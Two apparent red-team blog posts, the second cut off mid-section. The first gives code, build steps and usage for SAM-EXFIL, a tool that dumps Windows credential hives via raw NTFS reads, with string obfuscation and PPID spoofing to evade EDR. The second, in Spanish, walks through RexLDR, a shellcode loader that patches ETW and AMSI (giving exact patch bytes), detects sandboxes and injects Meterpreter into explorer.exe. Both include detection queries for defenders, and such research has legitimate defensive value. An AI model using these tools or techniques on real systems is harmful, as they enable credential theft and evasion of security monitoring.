<p>This post documents the research and implementation of <strong>SAM-EXFIL</strong>, a credential extractor that bypasses both file-system locking and EDR API-level hooks by reading the target files directly from the raw NTFS volume, without invoking any file-system API on the credential files themselves. All testing was performed on Windows 10 and Windows 11 with Microsoft Defender enabled in real-time protection mode.</p>
<img src="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/32a42981-7ac7-4a5b-8ef1-82fbddbd3703.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/8b4561ab-66b3-4f20-bf01-8b3b3a633ab5.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Background</h2>
<p>The standard approaches to SAM extraction share a common weakness: they all pass through the Windows I/O Manager's file-system stack, where EDR minifilter drivers operate.</p>
<ul>
<li><p><code>reg save</code> and Volume Shadow Copy both result in a <code>NtCreateFile</code> call against the hive path, which is trivially intercepted by a kernel-mode filter.</p>
</li>
<li><p><code>SeBackupPrivilege</code> with <code>BackupRead</code> still generates file-open events visible to ring-0 sensors.</p>
</li>
<li><p>In-memory approaches such as <code>lsadump::sam</code> via Mimikatz require additional privileges and introduce their own detection surface.</p>
</li>
</ul>
<p>The question we sought to answer was whether it is possible to read the credential hives at a layer <em>below</em> the file system, where these interception mechanisms do not apply. The answer, as documented below, is yes — provided the caller holds local Administrator privileges.</p>
<hr />
<h2>The Core Technique</h2>
<p>Windows exposes each NTFS volume as a raw block device accessible via the device namespace:</p>
<pre><code class="language-plaintext">\\.\C:
</code></pre>
<p>Opening a handle to this path with <code>GENERIC_READ</code> grants sector-level read access to every byte on the volume. Critically, this handle carries no file path for EDR filters to evaluate — the request does not pass through the Name-Based Open Sequence of the Object Manager in the same way a named file open does.</p>
<pre><code class="language-c">HANDLE hVol = CreateFileA("\\\\.\\C:",
    GENERIC_READ,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL, OPEN_EXISTING,
    FILE_FLAG_NO_BUFFERING, NULL);
</code></pre>
<p>With this handle, it becomes possible to parse NTFS on-disk structures entirely in userspace and locate the credential hive files without the operating system's filesystem layer being involved in serving the data.</p>
<hr />
<h2>Implementation</h2>
<p>The tool resolves the path <code>Windows\System32\config\SAM</code> (and equivalently SYSTEM and SECURITY) through five discrete stages, each requiring only a small number of sector reads.</p>
<h3>Stage 1 — Volume Boot Record</h3>
<p>The first sector of the volume contains the NTFS VBR, which provides the geometry parameters required to navigate the filesystem: bytes per sector, sectors per cluster, and the Logical Cluster Number (LCN) at which <code>$MFT</code> begins.</p>
<pre><code class="language-c">typedef struct {
    uint8_t  oem_id[8];      // "NTFS    "
    uint16_t bps;            // bytes per sector
    uint8_t  spc;            // sectors per cluster
    uint64_t mft_lcn;        // $MFT start cluster
    int8_t   cpfr;           // FILE record size encoding
} NTFS_VBR;
</code></pre>
<h3>Stage 2 — $MFT Run-List</h3>
<p>Rather than loading the entire Master File Table into memory (typically 1.5 GB on a modern system drive), we read only record #0 of the MFT — located at <code>mft_lcn * bytes_per_cluster</code> — and extract the run-list from its non-resident <code>$DATA</code> attribute. This run-list describes the on-disk layout of the MFT as a series of (LCN, cluster_count) pairs, which is all that is needed to address any subsequent MFT record by number.</p>
<h3>Stage 3 — NTFS B-tree Directory Traversal</h3>
<p>NTFS directories are indexed as B+ trees, with entries sorted by filename. Each directory's MFT record contains a resident <code>\(INDEX_ROOT</code> attribute (type <code>0x90</code>) holding the root node, and optionally a non-resident <code>\)INDEX_ALLOCATION</code> attribute (type <code>0xA0</code>) for overflow nodes stored in 4 KB <code>INDX</code> blocks on disk.</p>
<p>Starting from MFT record #5 (the filesystem root), we descend the tree component by component. At each level, a binary search within the current node either yields the target entry or descends to a child node via the VCN pointer embedded at the tail of each <code>IDX_ENTRY</code>:</p>
<pre><code class="language-c">static uint64_t search_node(LOOKUP *lk, uint8_t *entries, uint32_t esz) {
    uint32_t off = 0;
    while (off + sizeof(IDX_ENTRY) &lt;= esz) {
        IDX_ENTRY *ie = (IDX_ENTRY *)(entries + off);
        if (ie-&gt;flags &amp; IE_END) {
            // descend into rightmost child if present
            if ((ie-&gt;flags &amp; IE_NODE) &amp;&amp; lk-&gt;ia_nruns) {
                int64_t vcn;
                memcpy(&amp;vcn, entries + off + ie-&gt;entry_len - 8, 8);
                return follow_vcn(lk, vcn);
            }
            return 0;
        }
        FNAME *fn = (FNAME *)((uint8_t *)ie + sizeof(IDX_ENTRY));
        int cmp = _wcsicmp(name, lk-&gt;target);
        if (cmp == 0) return MFT_REF(ie-&gt;file_ref);
        if (cmp &gt; 0) { /* descend left child */ }
        off += ie-&gt;entry_len;
    }
    return 0;
}
</code></pre>
<p>The full resolution of <code>Windows\System32\config\SAM</code> requires approximately <strong>15–20 sector reads</strong> and completes in under one second.</p>
<h3>Stage 4 — Update Sequence Array Fix-up</h3>
<p>Before any FILE or INDX record can be interpreted, the Update Sequence Array must be applied. NTFS writes a sequence number to the last two bytes of each 512-byte sector within a record before committing it to disk, and stores the original values in the USA at the record header. This must be reversed in memory before parsing attributes:</p>
<pre><code class="language-c">static void apply_usa(uint8_t *rec, uint16_t usa_off, uint16_t usa_cnt, uint32_t sz) {
    uint16_t *usa = (uint16_t *)(rec + usa_off);
    for (uint16_t i = 1; i &lt; usa_cnt &amp;&amp; (uint32_t)(i * 512) &lt;= sz; i++) {
        uint16_t *tgt = (uint16_t *)(rec + i * 512 - 2);
        *tgt = usa[i];
    }
}
</code></pre>
<h3>Stage 5 — Data Extraction</h3>
<p>With the target file's MFT record number resolved, we read its <code>$DATA</code> attribute (type <code>0x80</code>). For non-resident files — which SAM, SYSTEM, and SECURITY invariably are — this yields another run-list describing the file's data clusters. We iterate over these clusters and write the output directly, with optional XOR encryption applied per-byte during the write loop.</p>
<hr />
<h2>OPSEC Hardening</h2>
<p>The raw volume read eliminates API-level detection, but a number of additional controls were implemented to reduce the remaining detection surface.</p>
<h3>Static String Obfuscation</h3>
<p>Analysis of an early build with <code>strings</code> revealed that strings such as <code>\\.\C:</code>, <code>NTFS</code>, <code>SAM</code>, <code>SYSTEM</code>, <code>Windows</code>, and <code>explorer.exe</code> were present in plaintext in the <code>.rdata</code> section — an immediate indicator of the tool's purpose. All sensitive strings are now stored XOR'd with a fixed key (<code>0x13</code>) as byte arrays in the binary, and decoded onto the stack at runtime via a non-inlined function marked <code>volatile</code> to prevent the compiler constant-folding the XOR back into plaintext:</p>
<pre><code class="language-c">static __attribute__((noinline)) void deob(char *s, int n) {
    volatile uint8_t k = 0x13;
    for (int i = 0; i &lt; n; i++) s[i] ^= k;
}

// "\\.\C:" stored as: { 0x4F, 0x4F, 0x3D, 0x4F, 0x50, 0x29 }
OBS(vol_path, 0x4F,0x4F,0x3D,0x4F,0x50,0x29);
</code></pre>
<p>Of particular note: GCC at <code>-O2</code> will evaluate constant XOR expressions at compile time and store the decoded plaintext in <code>.rodata</code> unless <code>volatile</code> is used on the key variable. This was observed during testing and required explicit verification with <code>strings</code> against the compiled binary after each build change.</p>
<h3>PPID Spoofing (<code>--ghost</code>)</h3>
<p>When invoked with <code>--ghost</code>, the tool relaunches a worker child process with <code>explorer.exe</code> set as the parent via <code>PROC_THREAD_ATTRIBUTE_PARENT_PROCESS</code>. From the perspective of an EDR's process tree telemetry, the credential extraction runs as a child of Explorer rather than of the invoking shell or C2 agent — a considerably less suspicious lineage.</p>
<pre><code class="language-c">UpdateProcThreadAttribute(attrList, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
    &amp;hParent, sizeof(hParent), NULL, NULL);

CreateProcessA(NULL, child_cmd, NULL, NULL, FALSE,
    EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
    NULL, NULL, &amp;si.StartupInfo, &amp;pi);
</code></pre>
<h3>Randomised Output Naming and Encryption (<code>--xor</code>)</h3>
<p>With <code>--xor</code> active, each output file is assigned a random GUID-derived name in <code>%TEMP%</code> via <code>CoCreateGuid</code>, and its contents are XOR'd with a single-byte key generated by <code>CryptGenRandom</code>. This prevents the strings <code>SAM</code>, <code>SYSTEM</code>, and <code>SECURITY</code> from appearing as filenames in filesystem event telemetry, and ensures the file contents are not recognisable to automated scanning:</p>
<pre><code class="language-plaintext">[*] XOR key: 0xA3
[*] Decrypt: python -c "k=0xA3;import sys;sys.stdout.buffer.write(bytes(b^k for b in open(sys.argv[1],'rb').read()))" &lt;file&gt; &gt; SAM
[+] SAM      → C:\Users\rtx\AppData\Local\Temp\3F8A1C2D04B2.tmp
[+] SYSTEM   → C:\Users\rtx\AppData\Local\Temp\7D2E9F1A03C1.tmp
[+] SECURITY → C:\Users\rtx\AppData\Local\Temp\1A4B6E8C02D3.tmp
</code></pre>
<hr />
<h2>Defensive Considerations</h2>
<p>It should be noted that while this technique bypasses user-mode API hooks and file-system-level monitoring, it does <strong>not</strong> bypass kernel-mode endpoint sensors. Drivers such as CrowdStrike Falcon's kernel sensor operate as minifilter drivers and intercept I/O Request Packets at the <code>IRP_MJ_CREATE</code> level, which includes raw volume device opens regardless of whether a file path is specified.</p>
<p>Defenders with kernel-mode telemetry can hunt for this technique using the following pattern: a process opens a handle to a volume device (<code>\\.\C:</code>, <code>\\.\D:</code> etc.) that is not a recognised system process, followed within a short window by the creation of temporary files in <code>%TEMP%</code>. In KQL:</p>
<pre><code class="language-plaintext">DeviceEvents
| where ActionType == "CreateFile"
| where FolderPath matches regex @"\\\\\\\\.\\\\[A-Z]:"
| where InitiatingProcessFileName !in~ ("svchost.exe", "MsMpEng.exe", "System")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessParentFileName, InitiatingProcessCommandLine
</code></pre>
<p>The PPID spoofing will cause <code>InitiatingProcessParentFileName</code> to report <code>explorer.exe</code>; correlating on the raw volume open event rather than relying solely on process lineage is therefore the more reliable detection approach.</p>
<p>For defenders without kernel telemetry, a YARA rule targeting the XOR-obfuscated byte sequences for <code>\\.\C:</code> and <code>NTFS</code> alongside the deobfuscation loop structure provides reasonable coverage against the compiled binary.</p>
<hr />
<h2>Demonstration</h2>
<p>The tool running against a Windows 11 host with Microsoft Defender real-time protection enabled — SAM (128 KB), SYSTEM (21 MB), and SECURITY (64 KB) extracted cleanly:</p>
<p>Credential hashes recovered offline on Kali using pypykatz, showing NTLM hashes for all local accounts, LSA secrets, and DPAPI machine keys:</p>
<hr />
<h2>Usage</h2>
<pre><code class="language-bash"># Build (GCC / MinGW)
gcc -O2 -Wall -s -fno-asynchronous-unwind-tables \
    -o build/sam-exfil.exe mft-stealth2.c -lole32 -ladvapi32

# Standard extraction (Administrator required)
sam-exfil.exe --output C:\out

# With PPID spoofing and encrypted output
sam-exfil.exe --output C:\out --ghost --xor

# Offline parsing
pypykatz registry SYSTEM --sam SAM --security SECURITY
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
</code></pre>
<hr />
<h2>Limitations</h2>
<p>This technique requires local Administrator privileges; the raw volume open is rejected by the kernel for unprivileged callers. Additionally, on BitLocker-encrypted volumes where the volume key is not present in memory (offline or pre-boot scenarios), the raw sectors will be ciphertext and the output will be unusable.</p>
<p>As noted above, kernel-mode endpoint sensors will observe the volume device open. The techniques described here are assessed to provide meaningful reduction in detection fidelity against user-mode-only EDR configurations, while offering a more modest improvement against mature, kernel-instrumented deployments. For higher-assurance engagements, porting this logic to a BOF (Beacon Object File) executing within the C2's trusted process context, or combining it with a BYOVD approach to temporarily blind the kernel sensor, would be the natural next step.</p>
<hr />
<h2>Source Code</h2>
<p>The full source code, build scripts, and usage documentation are available on GitHub:</p>
<p><a href="https://github.com/marcocarolasec/SAM-EXFIL">https://github.com/marcocarolasec/SAM-EXFIL</a></p>
<hr />
<h2>References</h2>
<ul>
<li><p>Workday Engineering — <em>Leveraging Raw Disk Reads to Bypass EDR</em></p>
</li>
<li><p>libyal/libfsntfs — <em>New Technologies File System (NTFS) format specification</em></p>
</li>
<li><p>skelsec/pypykatz — Offline registry hive parser</p>
</li>
<li><p>fortra/impacket — <code>secretsdump.py</code> offline credential extraction</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[RexLDR | Anatomía de un Shellcode Loader Moderno: Técnicas, Evidencia y Perspectiva Dual]]></title><description><![CDATA[Dato de contexto antes de entrar en materia: según la telemetría de Microsoft Cyber Signals 2025, más del 90% de los intentos de inyección de proceso…]]></description><link>https://blog.redghostops.com/rexldr-anatom-a-de-un-shellcode-loader-moderno-t-cnicas-evidencia-y-perspectiva-dual</link><guid isPermaLink="true">https://blog.redghostops.com/rexldr-anatom-a-de-un-shellcode-loader-moderno-t-cnicas-evidencia-y-perspectiva-dual</guid><dc:creator><![CDATA[Marco Carola]]></dc:creator><pubDate>Sun, 12 Apr 2026 06:09:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/740841ff-c8f6-4ecd-8032-c7b29423a8e5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<h2>El 90% de los loaders mueren en los primeros 30 segundos</h2>
</blockquote>
<p>Dato de contexto antes de entrar en materia: según la telemetría de Microsoft Cyber Signals 2025, más del 90% de los intentos de inyección de proceso basados en herramientas públicas son neutralizados antes de que el payload complete la ejecución. Ese número suena alto hasta que ves el código de lo que está usando la mayoría. La tríada <code>VirtualAllocEx</code> → <code>WriteProcessMemory</code> → <code>CreateRemoteThread</code>, documentada en posts de 2012, sigue siendo el patrón central de prácticamente todos los loaders genéricos que circulan. Nadie la cambió porque funcionaba. Ahora no funciona y siguen sin cambiarla.</p>
<img src="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/1959b003-2890-4a61-b148-410e92206aca.png" alt="" style="display:block;margin:0 auto" />

<p>Este post no es una guía de bypass de AV en cinco pasos. Hay cincuenta de esos y todos envejecen mal. Lo que vas a leer es la documentación técnica de RexLDR, el loader que usé en un engagement el 11 de abril de 2026 para abrir una sesión Meterpreter en Windows 11 con Defender activo. Explico qué hace cada técnica, qué hubiera detectado Defender si no estuviera implementada, qué ve el Blue Team igualmente a pesar del bypass, y dónde falla el loader, porque ninguno es perfecto y fingir que sí lo es es la señal más clara de que alguien no entiende lo que hace.</p>
<hr />
<h2>Por qué los loaders genéricos siguen fallando</h2>
<p>Windows Defender opera en dos capas y hay que considerar las dos al mismo tiempo.</p>
<p>La primera es análisis estático: escanea el binario antes de ejecutarlo buscando importaciones sospechosas en el IAT, strings reconocibles, secciones con alta entropía. La mayoría de loaders genéricos mueren aquí porque nadie se molesta en ocultar los imports.</p>
<p>La segunda capa es comportamental. Una vez en ejecución, monitoriza llamadas a APIs, telemetría ETW, patrones de acceso a memoria. Esta es la parte difícil porque para evadirla hay que entender exactamente qué está observando el motor, no solo saber qué funciones llamas.</p>
<p>RexLDR ataca las dos capas. Lo que sigue es la explicación técnica.</p>
<hr />
<h2>Punto de partida</h2>
<p>Antes de entrar en la arquitectura, contexto importante: la base de RexLDR la saqué del repositorio de 7h3w4lk3r en <a href="https://github.com/7h3w4lk3r/RexLdr">https://github.com/7h3w4lk3r/RexLdr</a>. El loader original ya tenía la estructura correcta y algunas ideas buenas, pero en entornos con Defender actualizado a 2026 detectaba sin problemas. Lo que hice fue partir de esa base y añadir las capas de evasión que se documentan en este post: el PEB Walker completo para eliminar imports del IAT, RC4 propio para quitar la dependencia de Advapi32, ETW y AMSI patching, la detección de sandbox, y cambiar la inyección clásica por MapView. El resultado final es diferente en lo que importa, que es el bypass, pero el crédito del punto de partida es suyo. En este mundillo hay demasiada gente que toma trabajo ajeno sin mencionarlo.</p>
<img src="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/bba4c0e0-334b-478c-a083-94285d891a1b.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Arquitectura del loader</h2>
<p>La secuencia de ejecución está diseñada para reducir la superficie de detección en cada paso:</p>
<pre><code class="language-plaintext">[Sandbox check] ---- falla ----&gt; [Exit limpio sin IOC]
      |
      v
[ETW patch]            -&gt; Silenciar telemetría de user-mode
      |
      v
[AMSI patch]           -&gt; Desactivar escaneo en proceso actual
      |
      v
[Sleep + timing check] -&gt; Anti-aceleración de sandbox
      |
      v
[RC4 decrypt]          -&gt; Payload en memoria, solo en runtime
      |
      v
[PEB Walker]           -&gt; Resolver funciones NT sin imports visibles
      |
      v
[NtQuerySystemInformation] -&gt; Localizar explorer.exe sin APIs ruidosas
      |
      v
[NtCreateSection + NtMapViewOfSection] -&gt; Inyección sin tríada clásica
      |
      v
[NtCreateThreadEx]     -&gt; Ejecución en proceso remoto
</code></pre>
<p>Cada bloque tiene una razón de ser. Voy por partes.</p>
<hr />
<img src="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/27eb5fa4-c646-4c5d-8eab-c58ba277aa8e.png" alt="" style="display:block;margin:0 auto" />

<h2>Las técnicas</h2>
<h3>PEB Walker: la base de todo lo demás</h3>
<p>Empiezo por aquí porque el resto del loader depende de esto.</p>
<p>El problema con llamar a <code>GetProcAddress</code> y <code>GetModuleHandle</code> directamente es que aparecen en el IAT del binario. Cualquier motor estático que mire el binario ve "este proceso importa <code>NtCreateThreadEx</code>, <code>NtMapViewOfSection</code> y <code>NtQuerySystemInformation</code>" y ya sabe lo que está pasando antes de que el programa arranque. Ni siquiera necesita ejecutarlo.</p>
<p>El PEB Walker resuelve eso caminando manualmente la estructura PEB del proceso: <code>PEB → Ldr → InMemoryOrderModuleList</code>, que contiene la lista de módulos cargados. Se itera sobre ellos, se comparan hashes de los nombres de funciones exportadas, y se obtiene la dirección de lo que necesitas sin que esa dependencia aparezca en ningún sitio del binario.</p>
<p>Resultado práctico: el IAT del loader no tiene ni una importación sospechosa. Si alguien lo abre con PEBear, ve un binario que aparentemente no hace nada interesante. Para el análisis estático, es invisible.</p>
<p>Lo que sí ve el Blue Team con Sysmon bien configurado es el comportamiento en runtime. Los accesos a memoria resultantes de la resolución de funciones son visibles, y las llamadas a esas funciones una vez resueltas las captura cualquier EDR con kernel hooks. El PEB Walker protege del análisis estático, no del comportamental.</p>
<p>Consideré indirect syscalls (Hell's Gate) como alternativa más sigilosa: elimina la dependencia de ntdll completamente. Es el siguiente nivel lógico pero requiere mapear syscall numbers para cada versión de Windows. Para este engagement el PEB Walker era suficiente. Hell's Gate está en el roadmap.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> La ausencia de imports en el IAT combinada con comportamiento de inyección posterior es en sí misma una señal. EDR con kernel hooks capturan las llamadas NT independientemente de lo que diga el IAT. En MDE, la telemetría de API calls la registra el Kernel Sensor aunque el IAT esté vacío.</p>
</blockquote>
<p><em>Referencias:</em> Sektor7 Institute, "Malware Development Essentials". Hasherezade, "Process Doppelgänging", BlackHat EU 2017. MITRE ATT&amp;CK T1055.</p>
<hr />
<h3>RC4 propio: eliminar la dependencia de Advapi32</h3>
<p>Hay una forma de cifrar el payload que delata al loader antes de ejecutarlo: usar <code>SystemFunction032</code> de <code>Advapi32.dll</code>. Es la función que implementa RC4 en Windows y aparece en el IAT de tantos loaders maliciosos que es firma conocida. Si está en tus imports junto con comportamiento de inyección, ya estás marcado.</p>
<p>La solución es implementar RC4 tú mismo. KSA + PRGA en C puro son unas 30 líneas. El payload viaja cifrado dentro del binario y se descifra en runtime sin tocar ninguna API del sistema para ello.</p>
<p>Hay un precio que pagar. El shellcode descifrado en memoria es detectable si hay un barrido de memoria en el momento adecuado. Defender hace escaneos periódicos en algunos contextos y una vez que el payload está en claro, las firmas de Meterpreter aplican perfectamente. El bypass es efectivo en el momento de la inyección, pero si alguien hace un dump de memoria con pe-sieve o malfind después de que el loader ya corrió, el shellcode está ahí sin cifrar.</p>
<p>Por qué RC4 y no AES o XOR puro: AES requeriría más código o dependencias. XOR puro es demasiado débil contra análisis de entropía porque mantiene patrones estadísticos detectables. RC4 implementado en C sin dependencias externas es el balance correcto aquí.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> YARA sobre procesos en ejecución captura el shellcode una vez descifrado. Binario con alta entropía más ausencia de imports típicos más comportamiento de inyección posterior es una señal correlacionable en cualquier SIEM. La entropía alta por sí sola no es suficiente, pero combinada con lo demás, sí.</p>
</blockquote>
<p><em>Referencias:</em> ESET Research, análisis del implante Shlayer (2020). VirusBulletin 2019, "Bypassing Antivirus with Shellcode Encryption". MITRE ATT&amp;CK T1027.</p>
<hr />
<h3>String obfuscation: un detalle pequeño que importa</h3>
<p><code>explorer.exe</code> no aparece como string en el binario. Se construye carácter a carácter en runtime. Parece una medida menor, pero los motores estáticos modernos correlacionan strings de nombres de proceso legítimos con imports de APIs de inyección para inferir intención antes de la ejecución. Si el nombre del proceso objetivo está en claro, es una señal más que se acumula.</p>
<p>La construcción es manual porque MSVC con optimizaciones Release a veces convierte arrays de caracteres de vuelta a strings literales dependiendo del contexto. Hacerlo a mano garantiza que no hay regresiones de compilación.</p>
<p>Lo que sigue siendo visible: Sysmon Event ID 10 registra cuando un proceso abre otro con determinados flags de acceso. El acceso a <code>explorer.exe</code> con flags de creación de hilos es completamente visible independientemente de cómo se construyó el nombre en el código. La obfuscación de strings protege del análisis estático, no del comportamental.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> Sysmon Event ID 10 con <code>TargetImage = explorer.exe</code> y <code>GrantedAccess</code> con flags de PROCESS_CREATE_THREAD desde procesos no firmados por Microsoft es una señal de alta fidelidad. Pocos procesos legítimos necesitan abrir explorer.exe con esos derechos.</p>
</blockquote>
<hr />
<h3>ETW patching: lo que funciona y lo que no</h3>
<p>ETW es la infraestructura de telemetría que alimenta gran parte de lo que ven los EDR. <code>EtwEventWrite</code> en ntdll.dll es la función que publica esos eventos. El patch es un byte: escribir <code>0xC3</code> (RET) al inicio de la función hace que retorne inmediatamente sin publicar nada.</p>
<p>Sin este patch, el provider <code>Microsoft-Windows-Threat-Intelligence</code> (GUID: <code>F4E1897C-BB5D-5668-F1D8-040F4D8DD344</code>) generaría eventos críticos sobre las operaciones de inyección: <code>KERNEL_THREATINT_TASK_MAPVIEW_REMOTE</code>, <code>KERNEL_THREATINT_TASK_CREATETHREADEX_REMOTE</code>. Esos eventos los consume Defender en tiempo real para detectar inyección de proceso.</p>
<p>Aquí hay que ser honesto sobre la limitación porque es importante. Ese provider opera <strong>parcialmente en kernel mode</strong> a través de callbacks ELAM. El patch de user-mode de <code>EtwEventWrite</code> en ntdll afecta solo a los eventos generados desde user-mode en el proceso actual. Los callbacks de kernel no los toca. Si el entorno tiene MDE con Kernel Sensor habilitado, mantiene visibilidad sobre las operaciones de inyección independientemente de este patch. El entorno de pruebas de este engagement era Windows Defender standalone, sin MDE. Esa distinción importa mucho.</p>
<p>Otra cosa que el Blue Team puede ver: el propio acto de parchear EtwEventWrite. Sysmon Event ID 25 (ProcessTampering) puede capturarlo en entornos con esa configuración activa.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> Sysmon Event ID 25 para ProcessTampering sobre ntdll.dll. Con MDE P2, el Kernel Sensor da cobertura independiente del ETW de user-mode. Sigma rule de referencia: <code>win_susp_etw_patching</code> en SigmaHQ.</p>
</blockquote>
<p><em>Referencias:</em> MDSec Research, "Blinding EDR On Windows" (2020). Elastic Security Labs, "Detecting and Defeating ETW Bypass" (2022). MITRE ATT&amp;CK T1562.006.</p>
<hr />
<h3>AMSI patching: relevante aunque este sea un loader en C</h3>
<p>Para un loader en C puro que no usa scripting engines, AMSI importa menos que en un loader PowerShell. Pero se parchea por consistencia y porque si el entorno objetivo tiene integraciones personalizadas del AMSI provider, la capa existe.</p>
<p>El patch escribe <code>xor eax, eax; ret</code> (<code>0x31 0xC0 0xC3</code>) al inicio de <code>AmsiScanBuffer</code> en amsi.dll. La función retorna siempre <code>AMSI_RESULT_CLEAN</code>.</p>
<p>Una nota de vigencia: Windows 11 22H2 añadió protecciones adicionales contra modificación de amsi.dll en contextos Protected Processes Light. El patch funcionó en el entorno de pruebas específico. Los resultados varían según la build exacta de Windows.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> Monitorizar escrituras en páginas de código de amsi.dll mediante driver de seguridad. ScriptBlock Logging (Event ID 4104) en entornos con PowerShell o .NET. Sigma rule: <code>win_susp_amsi_bypass</code> en SigmaHQ.</p>
</blockquote>
<p><em>Referencias:</em> Matt Graeber (@mattifestation), bypass original vía reflexión .NET (2016). CyberArk Research, "AMSI Bypass: Patching Technique" (2018).</p>
<hr />
<h3>Sandbox detection: calibrar los umbrales cuesta más de lo que parece</h3>
<p>Los sandboxes automatizan el análisis de dos formas: acelerando el tiempo de ejecución, y corriendo en entornos mínimos con pocos recursos.</p>
<p>RexLDR implementa las dos contra-medidas. Para el timing: <code>NtDelayExecution</code> 5 segundos, luego comparar el tick count actual con el esperado. Si hay aceleración de tiempo, el delta es anómalamente bajo y el loader sale sin ejecutar nada. Para la detección de entorno: CPU cores menores de 1 (salida), RAM disponible menor de 1 GB (salida), procesos activos menores de 10 (salida).</p>
<p>Lo que parece sencillo tiene su parte complicada en la práctica. Los umbrales iniciales que usé (cores ≤ 2, RAM &lt; 4 GB, procs &lt; 25) me daban falsos positivos en mis propias VMs de laboratorio. Tuve que bajarlos bastante. El punto es que cada entorno es diferente y los umbrales hay que calibrarlos contra el entorno objetivo real, no contra una VM genérica de referencia.</p>
<img src="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/bce1ed68-3e5b-4143-831f-ac5abd96c38a.jpg" alt="" style="display:block;margin:0 auto" />

<p>Los sandboxes modernos han evolucionado para lidiar con esto. Microsoft Intelligent Security Graph ejecuta algunas muestras durante períodos más largos. Un binario que sale limpiamente del sandbox pero tiene alta entropía es en sí mismo una señal de evasión activa, y los analistas buenos lo saben.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> Behavioral analysis que correlaciona binario con alta entropía más sleep largo más inyección posterior es mucho más efectivo que sandboxing puro. Elastic Security Labs publicó en 2023 investigación sobre detección de sleep obfuscation. Una muestra que sale limpia del sandbox pero tiene entropía alta merece análisis manual, no descarte automático.</p>
</blockquote>
<hr />
<h3>MapView injection: por qué no uso la tríada clásica</h3>
<p>La tríada <code>VirtualAllocEx</code> + <code>WriteProcessMemory</code> + <code>VirtualProtectEx</code> es básicamente una firma comportamental en sí misma. <code>Behavior:Win32/Meterpreter.gen!A</code>, la detección específica que bypaseé en este engagement, detecta entre otras cosas ese patrón de llamadas. Los eventos ETW correspondientes se generarían inmediatamente con cualquier herramienta que use esas APIs.</p>
<p>La alternativa que usa RexLDR: <code>NtCreateSection</code> + <code>NtMapViewOfSection</code>. Se crea una sección de memoria ejecutable en el kernel, se mapea localmente para escribir el payload, y luego se mapea esa misma sección en el espacio de memoria de <code>explorer.exe</code>. El shellcode nunca se "escribe" en el proceso remoto vía <code>WriteProcessMemory</code>. Se comparte a través de una sección de kernel.</p>
<p>Para la enumeración de procesos: <code>NtQuerySystemInformation(SystemProcessInformation)</code> en lugar de <code>CreateToolhelp32Snapshot</code>. Menos monitorizado, más directo.</p>
<p>Cosas que probé y descarté. Process Hollowing requiere crear un proceso suspendido, lo que genera telemetría de creación de proceso con flags de suspensión y es detección casi universal. APC injection es más ruidoso que MapView en términos de comportamiento de kernel. Thread hijacking en <code>explorer.exe</code> fue lo primero que intenté y lo tuve que abandonar: los hilos de explorer están en estado de espera en kernel (<code>WaitForMultipleObjects</code>) y redirigir el RIP resulta inconsistente. Me reventé explorer.exe un par de veces antes de entender por qué. <code>NtCreateThreadEx</code> es más predecible.</p>
<img src="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/44becd1f-01ca-4eff-bcb8-3ad06383888f.png" alt="" style="display:block;margin:0 auto" />

<p>Lo que sí ve el Blue Team igualmente: Sysmon Event ID 10 (ProcessAccess) registra cuando el loader abre <code>explorer.exe</code> con <code>NtOpenProcess</code>. El <code>GrantedAccess</code> de <code>PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD</code> desde un proceso no firmado sobre explorer.exe es una señal de alta fidelidad. Pocos procesos legítimos necesitan hacer eso.</p>
<blockquote>
<p><strong>Para el Blue Team:</strong> Sysmon Event ID 10 con TargetImage = <code>explorer.exe</code> y GrantedAccess con flags de creación de hilos desde procesos no firmados Microsoft es detección de muy alta fidelidad con pocos falsos positivos. Correlacionado con Event ID 8 (NtCreateThreadEx) en la misma ventana de tiempo, es prácticamente confirmación. En MDE: <code>DeviceEvents | where ActionType == "CreateRemoteThreadApiCall" and InitiatingProcessFileName !in ("svchost.exe", "csrss.exe")</code>.</p>
</blockquote>
<p><em>Referencias:</em> Endgame Research, "Ten Process Injection Techniques" (2017). BlackHat USA 2019, "Process Injection Techniques - Gotta Catch Them All". MITRE ATT&amp;CK T1055.015.</p>
<hr />
<h3>NtCreateThreadEx: el último paso</h3>
<p><code>CreateRemoteThread</code> genera telemetría explícita y está monitorizada por prácticamente todo lo que se vende como EDR. <code>NtCreateThreadEx</code> es su equivalente en NT, resuelto vía PEB Walker, que opera con menos visibilidad a nivel de API de alto nivel.</p>
<p>El acceso al proceso se pide con permisos mínimos: <code>PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION</code>. Sin <code>PROCESS_ALL_ACCESS</code>, que es otra firma comportamental de alta confianza en cualquier EDR configurado correctamente.</p>
<p>Sysmon Event ID 8 puede capturar <code>NtCreateThreadEx</code> dependiendo de la configuración. Y si hay MDE con Kernel Sensor, <code>KERNEL_THREATINT_TASK_CREATETHREADEX_REMOTE</code> se genera independientemente de cómo se resuelva la función en user-mode. El acceso con los flags mencionados sobre <code>explorer.exe</code> desde un proceso no firmado es la señal más visible de todo el loader.</p>
<blockquote>
